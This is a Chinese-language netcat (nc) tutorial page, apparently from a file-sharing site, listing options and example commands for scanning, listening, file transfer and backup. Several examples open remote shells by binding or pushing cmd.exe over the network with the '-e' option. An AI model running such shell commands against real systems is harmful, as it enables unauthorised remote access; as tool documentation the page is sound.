linux下常用命令指nc
### Linux 下常用命令详解:Netcat (nc) 在 Linux 系统中,`nc`(Netcat)是一款功能强大的网络工具,它可以帮助用户通过 TCP 或 UDP 协议发送和接收数据包。`nc` 命令具有多种用途,包括端口扫描、传输文件、创建简单 shell 服务等。接下来,我们将详细介绍 `nc` 命令的用法及一些实用案例。 #### 基本语法 `nc` 的基本语法为: ``` nc [选项] host port [port...] nc -l [-p port] [选项] [host] [port] ``` 其中,`host` 表示目标主机地址,`port` 表示端口号。以下是一些常用的选项: - `-d`:指定延迟时间。 - `-e`:执行指定程序。 - `-g`:源路由网关。 - `-h`:显示帮助信息。 - `-i`:设置间隔时间。 - `-l`:监听模式。 - `-L`:循环监听模式。 - `-n`:使用 IP 地址而非域名。 - `-o`:将数据写入文件。 - `-p`:监听指定端口。 - `-r`:随机选择端口。 - `-s`:指定源地址。 - `-t`:使用 Telnet 模式。 - `-u`:使用 UDP 协议。 - `-v`:增加详细输出。 - `-w`:设置超时时间。 - `-z`:进行端口扫描。 #### 实际应用案例 1. **端口扫描**: ``` nc -nv 192.168.x.x 80 ``` 这条命令用于扫描目标 IP 地址 `192.168.x.x` 的 TCP 端口 80 是否开放。 2. **监听端口**: ``` nc -l -p 80 ``` 此命令启动一个监听 TCP 端口 80 的服务。 3. **端口扫描(多端口)**: ``` nc -nvv -w2 -z 192.168.x.x 80-445 ``` 扫描目标 IP 地址 `192.168.x.x` 的 TCP 端口 80 至 445 是否开放。 4. **远程 Shell**: ``` nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe ``` 创建一个监听端口 5354 的远程命令行 shell 服务。 5. **远程 Shell 客户端**: ``` nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 ``` 连接到 IP 地址为 `192.168.x.x` 的远程命令行 shell 服务,端口为 5354。 6. **文件传输**: ``` type c:\exploit.txt | nc -nv 192.168.x.x 80 ``` 或 ``` nc -nv 192.168.x.x 80 < c:\exploit.txt ``` 将本地文件 `c:\exploit.txt` 的内容通过 TCP 端口 80 发送给目标 IP 地址 `192.168.x.x`。 7. **循环监听**: ``` nc -L -p 80 ``` 启动一个循环监听 TCP 端口 80 的服务。 8. **日志记录**: ``` nc -L -p 80 > c:\log.txt ``` 将接收到的数据重定向到文件 `c:\log.txt` 中。 9. **蜜罐模拟**: ``` nc -L -p 80 < c:\honeypot.txt ``` 或 ``` type c:\honeypot.txt | nc -L -p 80 ``` 模拟一个蜜罐服务器,返回文件 `c:\honeypot.txt` 的内容作为响应。 10. **远程备份**: ``` tar czf - data | nc -l -c -p 1234 ``` 与 ``` nc 192.168.0.1 1234 > backup.tgz ``` 这两个命令组合起来可以实现远程主机上的数据备份。 通过以上介绍可以看出,`nc` 命令功能十分强大,不仅可以用于简单的网络测试,还能进行复杂的数据传输任务。掌握 `nc` 的使用方法,对于系统管理员来说是非常重要的技能之一。
恭喜您,您遇上财神了,送给你30庆典金币!
nc是一款很不错的网络检测工具,以下是详细使用。
'nc.exe -h'即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。
1)连接到远程主机
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听本地主机
格式:nc -l -p 80
- justoop2014-03-20可以用。但是不是最新版的nc
- 粉丝: 0
- 资源: 17
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助